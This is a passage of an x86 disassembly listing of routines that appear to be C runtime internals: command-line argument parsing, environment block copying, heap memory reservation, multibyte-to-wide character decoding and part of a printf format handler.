loc_4096D2:				; CODE XREF: sub_409620+B7j
					; sub_409620+BBj
		inc	ebx


loc_4096D3:				; CODE XREF: sub_409620+B0j
		mov	al, [ebx]
		cmp	al, 20h
		jz	short loc_4096D2
		cmp	al, 9
		jz	short loc_4096D2


loc_4096DD:				; CODE XREF: sub_409620+AEj
		cmp	byte ptr [ebx],	0
		jz	loc_4097A6
		cmp	[ebp+arg_4], 0
		jz	short loc_4096F7
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_4096F7:				; CODE XREF: sub_409620+CAj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_4096FC:				; CODE XREF: sub_409620+16Dj
		mov	[ebp+var_4], 1
		xor	edi, edi
		jmp	short loc_409709
; ---------------------------------------------------------------------------


loc_409707:				; CODE XREF: sub_409620+ECj
		inc	ebx
		inc	edi


loc_409709:				; CODE XREF: sub_409620+E5j
		cmp	byte ptr [ebx],	5Ch
		jz	short loc_409707
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409759
		test	edi, 1
		jnz	short loc_409746
		cmp	[ebp+var_8], 0
		jz	short loc_409733
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_40972A
		inc	ebx
		jmp	short loc_40973A
; ---------------------------------------------------------------------------


loc_40972A:				; CODE XREF: sub_409620+105j
		mov	[ebp+var_4], 0
		jmp	short loc_40973A
; ---------------------------------------------------------------------------


loc_409733:				; CODE XREF: sub_409620+FFj
		mov	[ebp+var_4], 0


loc_40973A:				; CODE XREF: sub_409620+108j
					; sub_409620+111j
		xor	eax, eax
		cmp	[ebp+var_8], 0
		setz	al
		mov	[ebp+var_8], eax


loc_409746:				; CODE XREF: sub_409620+F9j
		shr	edi, 1
		jmp	short loc_409759
; ---------------------------------------------------------------------------


loc_40974A:				; CODE XREF: sub_409620+13Ej
		test	ecx, ecx
		jz	short loc_409754
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	5Ch


loc_409754:				; CODE XREF: sub_409620+12Cj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_409759:				; CODE XREF: sub_409620+F1j
					; sub_409620+128j
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_40974A
		mov	al, [ebx]
		test	al, al
		jz	short loc_409774
		cmp	[ebp+var_8], 0
		jnz	short loc_409776
		cmp	al, 20h
		jz	short loc_409774
		cmp	al, 9
		jnz	short loc_409776


loc_409774:				; CODE XREF: sub_409620+144j
					; sub_409620+14Ej
		jmp	short loc_409792
; ---------------------------------------------------------------------------


loc_409776:				; CODE XREF: sub_409620+14Aj
					; sub_409620+152j
		cmp	[ebp+var_4], 0
		jz	short loc_40978C
		test	ecx, ecx
		jz	short loc_409787
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_409787:				; CODE XREF: sub_409620+15Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_40978C:				; CODE XREF: sub_409620+15Aj
		inc	ebx
		jmp	loc_4096FC
; ---------------------------------------------------------------------------


loc_409792:				; CODE XREF: sub_409620:loc_409774j
		test	ecx, ecx
		jz	short loc_40979C
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_40979C:				; CODE XREF: sub_409620+174j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		jmp	loc_4096CB
; ---------------------------------------------------------------------------


loc_4097A6:				; CODE XREF: sub_409620+C0j
		cmp	[ebp+arg_4], 0
		jz	short loc_4097BB
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	dword ptr [eax], 0


loc_4097BB:				; CODE XREF: sub_409620+18Aj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097D0	proc near		; CODE XREF: sub_407B60+69p

var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		call	dword_411D90
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jnz	short loc_409802
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_411CDC
		lea	esi, [ebp+var_10C]


loc_409802:				; CODE XREF: sub_4097D0+16j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	esi
		call	sub_409620
		add	esp, 14h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+eax*4]
		push	eax
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_409835
		push	1
		call	sub_409250
		pop	ecx


loc_409835:				; CODE XREF: sub_4097D0+5Bj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [ebx+eax*4]
		push	eax
		push	ebx
		push	esi
		call	sub_409620
		add	esp, 14h
		mov	eax, [ebp+var_4]
		dec	eax
		mov	dword_4117C4, eax
		mov	dword_4117C8, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4097D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409870	proc near		; CODE XREF: sub_407B60+6Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	dword_411DF8
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_40988E
		mov	eax, off_411894
		mov	[ebp+var_8], eax


loc_40988E:				; CODE XREF: sub_409870+14j
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+var_8]
		jmp	short loc_4098B3
; ---------------------------------------------------------------------------


loc_40989A:				; CODE XREF: sub_409870+46j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_40989F:				; CODE XREF: sub_409870+34j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_40989F
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_4098B1
		add	[ebp+var_4], esi


loc_4098B1:				; CODE XREF: sub_409870+3Cj
		add	ebx, esi


loc_4098B3:				; CODE XREF: sub_409870+28j
		cmp	byte ptr [ebx],	0
		jnz	short loc_40989A
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_408260
		pop	ecx
		mov	edi, eax
		mov	dword_4117D0, eax
		cmp	dword_4117D0, 0
		jnz	short loc_4098DB
		push	1
		call	sub_409250
		pop	ecx


loc_4098DB:				; CODE XREF: sub_409870+61j
		mov	ebx, [ebp+var_8]
		jmp	short loc_40990A
; ---------------------------------------------------------------------------


loc_4098E0:				; CODE XREF: sub_409870+9Dj
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_4098E5:				; CODE XREF: sub_409870+7Aj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_4098E5
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_409908
		mov	ecx, edi
		mov	edx, ebx
		push	ecx
		sub	ecx, edx


loc_4098FB:				; CODE XREF: sub_409870+93j
		mov	al, [edx]
		mov	[ecx+edx], al
		inc	edx
		test	al, al
		jnz	short loc_4098FB
		pop	eax
		add	edi, esi


loc_409908:				; CODE XREF: sub_409870+82j
		add	ebx, esi


loc_40990A:				; CODE XREF: sub_409870+6Ej
		cmp	byte ptr [ebx],	0
		jnz	short loc_4098E0
		mov	byte ptr [edi],	0
		mov	eax, off_411894
		cmp	eax, [ebp+var_8]
		jz	short loc_409926
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_411DFC


loc_409926:				; CODE XREF: sub_409870+AAj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_407B60+A3p
		push	ebx
		call	dword_411D90
		mov	ebx, eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409954


loc_40993E:				; CODE XREF: sub_409930+19j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_40994B
		cmp	byte ptr [ebx],	0
		jnz	short loc_40993E


loc_40994B:				; CODE XREF: sub_409930+14j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40995C
		inc	ebx
		jmp	short loc_40995C
; ---------------------------------------------------------------------------


loc_409953:				; CODE XREF: sub_409930+27j
		inc	ebx


loc_409954:				; CODE XREF: sub_409930+Cj
		cmp	byte ptr [ebx],	20h
		ja	short loc_409953
		jmp	short loc_40995C
; ---------------------------------------------------------------------------


loc_40995B:				; CODE XREF: sub_409930+34j
		inc	ebx


loc_40995C:				; CODE XREF: sub_409930+1Ej
					; sub_409930+21j ...
		mov	al, [ebx]
		test	al, al
		jz	short loc_409966
		cmp	al, 20h
		jbe	short loc_40995B


loc_409966:				; CODE XREF: sub_409930+30j
		mov	eax, ebx
		pop	ebx
		retn
sub_409930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409970	proc near		; CODE XREF: sub_407C90+21p

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_4117D8, 0
		jnz	short loc_4099A3
		push	1
		push	2000h
		mov	eax, dword_4117DC
		push	eax
		push	0
		call	dword_411E00
		mov	dword_4117D8, eax
		test	eax, eax
		jz	short loc_409A06


loc_4099A3:				; CODE XREF: sub_409970+13j
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, dword_4117D8
		push	eax
		call	dword_411E04
		test	eax, eax
		jz	short loc_409A06
		cmp	[ebp+var_C], 1000h
		jnz	short loc_4099D0
		mov	eax, [ebp+var_10]
		mov	edx, dword_4117D8
		lea	edi, [edx+eax]
		jmp	short loc_4099D6
; ---------------------------------------------------------------------------


loc_4099D0:				; CODE XREF: sub_409970+50j
		mov	edi, dword_4117D8


loc_4099D6:				; CODE XREF: sub_409970+5Ej
		mov	esi, edi
		lea	eax, [esi+ebx]
		mov	edx, dword_4117DC
		mov	ecx, dword_4117D8
		add	edx, ecx
		cmp	eax, edx
		jb	short loc_4099F1
		xor	eax, eax
		jmp	short loc_409A06
; ---------------------------------------------------------------------------


loc_4099F1:				; CODE XREF: sub_409970+7Bj
		push	4
		push	1000h
		push	ebx
		push	esi
		call	dword_411E00
		test	eax, eax
		jz	short loc_409A06
		mov	eax, esi


loc_409A06:				; CODE XREF: sub_409970+31j
					; sub_409970+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A10	proc near		; CODE XREF: sub_4088A0+44p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	eax, [ebp+arg_C]
		movzx	eax, word ptr [eax+6]
		mov	[ebp+var_3], al
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	[ebp+var_2], ax
		cmp	off_411924, 0
		jnz	loc_409B8B
		cmp	[ebp+arg_4], 0
		jnz	short loc_409A5E
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB78
		mov	ebx, dword_40FB7C
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409A5E:				; CODE XREF: sub_409A10+31j
					; sub_409A10+176j
		cmp	[ebp+arg_8], 0
		jnz	short loc_409A82
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409A82:				; CODE XREF: sub_409A10+52j
		cmp	[ebp+var_3], 0
		jbe	short loc_409AC9
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0C0h
		cmp	eax, 80h
		jz	short loc_409AAD
		call	sub_408460
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409AAD:				; CODE XREF: sub_409A10+88j
		movzx	eax, [ebp+var_2]
		shl	eax, 6
		mov	edx, [ebp+var_8]
		movzx	edx, byte ptr [edx]
		and	edx, 3Fh
		or	eax, edx
		mov	[ebp+var_2], ax
		sub	[ebp+var_3], 1
		jmp	short loc_409B3A
; ---------------------------------------------------------------------------


loc_409AC9:				; CODE XREF: sub_409A10+76j
		mov	eax, [ebp+var_8]
		test	byte ptr [eax],	80h
		jnz	short loc_409ADD
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_2], ax
		jmp	short loc_409B3A
; ---------------------------------------------------------------------------


loc_409ADD:				; CODE XREF: sub_409A10+BFj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0E0h
		cmp	eax, 0C0h
		jnz	short loc_409B02
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 1Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 1
		jmp	short loc_409B3A
; ---------------------------------------------------------------------------


loc_409B02:				; CODE XREF: sub_409A10+DDj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0F0h
		cmp	eax, 0E0h
		jnz	short loc_409B27
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 2
		jmp	short loc_409B3A
; ---------------------------------------------------------------------------


loc_409B27:				; CODE XREF: sub_409A10+102j
		call	sub_408460
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409B3A:				; CODE XREF: sub_409A10+B7j
					; sub_409A10+CBj ...
		cmp	[ebp+var_3], 0
		jnz	short loc_409B80
		cmp	[ebp+arg_0], 0
		jz	short loc_409B50
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_409B50:				; CODE XREF: sub_409A10+134j
		mov	edx, [ebp+arg_C]
		mov	word ptr [edx+6], 0
		cmp	[ebp+var_2], 0
		jnz	short loc_409B69
		mov	[ebp+var_C], 0
		jmp	short loc_409B78
; ---------------------------------------------------------------------------


loc_409B69:				; CODE XREF: sub_409A10+14Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_C], eax


loc_409B78:				; CODE XREF: sub_409A10+157j
		mov	eax, [ebp+var_C]
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409B80:				; CODE XREF: sub_409A10+12Ej
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		jmp	loc_409A5E
; ---------------------------------------------------------------------------


loc_409B8B:				; CODE XREF: sub_409A10+27j
		mov	[ebp+var_C], 0
		cmp	[ebp+arg_4], 0
		jnz	short loc_409BBE
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB78
		mov	ebx, dword_40FB7C
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409BBE:				; CODE XREF: sub_409A10+186j
					; sub_409A10+292j
		cmp	[ebp+arg_8], 0
		jnz	short loc_409BE2
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409BE2:				; CODE XREF: sub_409A10+1B2j
		mov	al, [ebp+var_3]
		cmp	al, 10h
		jnb	short loc_409C1E
		movzx	eax, al
		mov	eax, off_411924[eax*4]
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_409C1E
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_409C1E
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+var_14]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_E], ax
		test	ax, ax
		jnz	short loc_409C31


loc_409C1E:				; CODE XREF: sub_409A10+1D7j
					; sub_409A10+1E8j ...
		call	sub_408460
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409CEA
; ---------------------------------------------------------------------------


loc_409C31:				; CODE XREF: sub_409A10+20Cj
		movzx	eax, [ebp+var_E]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	[ebp+var_3], dl
		test	eax, 8000h
		jz	short loc_409C5D
		movzx	eax, [ebp+var_2]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_E]
		or	eax, edx
		mov	[ebp+var_2], ax


loc_409C5D:				; CODE XREF: sub_409A10+238j
		test	[ebp+var_E], 1000h
		jz	short loc_409C7F
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+var_2], ax


loc_409C7F:				; CODE XREF: sub_409A10+253j
		test	[ebp+var_E], 4000h
		jz	short loc_409C9C
		mov	eax, [ebp+var_8]
		cmp	byte ptr [eax],	0
		jz	short loc_409C9C
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		mov	[ebp+var_C], 0


loc_409C9C:				; CODE XREF: sub_409A10+275j
					; sub_409A10+27Dj
		test	[ebp+var_E], 2000h
		jz	loc_409BBE
		cmp	[ebp+arg_0], 0
		jz	short loc_409CB8
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_409CB8:				; CODE XREF: sub_409A10+29Cj
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		cmp	[ebp+var_2], 0
		jnz	short loc_409CDC
		mov	[ebp+var_18], 0
		jmp	short loc_409CE7
; ---------------------------------------------------------------------------


loc_409CDC:				; CODE XREF: sub_409A10+2C1j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_18], eax


loc_409CE7:				; CODE XREF: sub_409A10+2CAj
		mov	eax, [ebp+var_18]


loc_409CEA:				; CODE XREF: sub_409A10+49j
					; sub_409A10+6Dj ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409A10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CF0	proc near		; CODE XREF: sub_4088A0+243p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	eax, 41h
		jl	short loc_409D0F
		cmp	eax, 47h
		jg	short loc_409D1E
		jmp	dword_40FC80[eax*4]
; ---------------------------------------------------------------------------


loc_409D0F:				; CODE XREF: sub_409CF0+11j
		cmp	[ebp+var_4], 25h
		jz	loc_40A3E2
		jmp	loc_40A3F7
; ---------------------------------------------------------------------------


loc_409D1E:				; CODE XREF: sub_409CF0+16j
		mov	eax, [ebp+var_4]
		cmp	eax, 58h
		jz	loc_409F53
		jl	loc_40A3F7
		mov	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	loc_40A3F7
		cmp	eax, 78h
		jg	loc_40A3F7
		jmp	dword_40FC1C[eax*4]
; ---------------------------------------------------------------------------


loc_409D4C:				; DATA XREF: DMN0:0040FDA8o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	short loc_409D79
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, 4
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ecx-4]
		mov	[eax+edx], cl
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_409D79:				; CODE XREF: sub_409CF0+63j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	[ebp+var_6], ax
		mov	[ebp+var_A], ax
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		or	dword ptr [edx+2Ch], 0FFFFFFFFh
		lea	eax, [ebp+var_A]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AF70
		add	esp, 8
		test	eax, eax
		jge	loc_40A422
		or	eax, 0FFFFFFFFh
		jmp	loc_40A424
; ---------------------------------------------------------------------------


loc_409DBB:				; DATA XREF: DMN0:0040FDACo
					; DMN0:0040FDC0o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_409DE0
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_409E54
; ---------------------------------------------------------------------------


loc_409DE0:				; CODE XREF: sub_409CF0+D2j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_409E01
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_409E48
; ---------------------------------------------------------------------------


loc_409E01:				; CODE XREF: sub_409CF0+F7j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_409E22
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_409E3C
; ---------------------------------------------------------------------------


loc_409E22:				; CODE XREF: sub_409CF0+118j
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_409E3C:				; CODE XREF: sub_409CF0+130j
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_409E48:				; CODE XREF: sub_409CF0+10Fj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_409E54:				; CODE XREF: sub_409CF0+EEj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_409E84
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dx, cx
		movsx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_409ECA
; ---------------------------------------------------------------------------


loc_409E84:				; CODE XREF: sub_409CF0+176j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_409EA8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dl, cl
		movsx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_409ECA
; ---------------------------------------------------------------------------


loc_409EA8:				; CODE XREF: sub_409CF0+19Bj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_409EB6
		cmp	al, 7Ah
		jnz	short loc_409ECA


loc_409EB6:				; CODE XREF: sub_409CF0+1C0j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_409ECA:				; CODE XREF: sub_409CF0+192j
					; sub_409CF0+1B6j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_409EF1
		jl	short loc_409EDC
		test	eax, eax
		jnb	short loc_409EF1


loc_409EDC:				; CODE XREF: sub_409CF0+1E6j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_409F2F
; ---------------------------------------------------------------------------


loc_409EF1:				; CODE XREF: sub_409CF0+1E4j
					; sub_409CF0+1EAj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_409F11
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_409F2F
; ---------------------------------------------------------------------------


loc_409F11:				; CODE XREF: sub_409CF0+20Aj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_409F2F
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_409F2F:				; CODE XREF: sub_409CF0+1FFj
					; sub_409CF0+21Fj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B0C0
		add	esp, 8
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_409F53:				; CODE XREF: sub_409CF0+34j
					; DATA XREF: DMN0:0040FDD8o ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_409F75
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_409FE6
; ---------------------------------------------------------------------------


loc_409F75:				; CODE XREF: sub_409CF0+26Aj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_409F96
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_409FDA
; ---------------------------------------------------------------------------


loc_409F96:				; CODE XREF: sub_409CF0+28Cj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_409FB7
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_409FCE
; ---------------------------------------------------------------------------


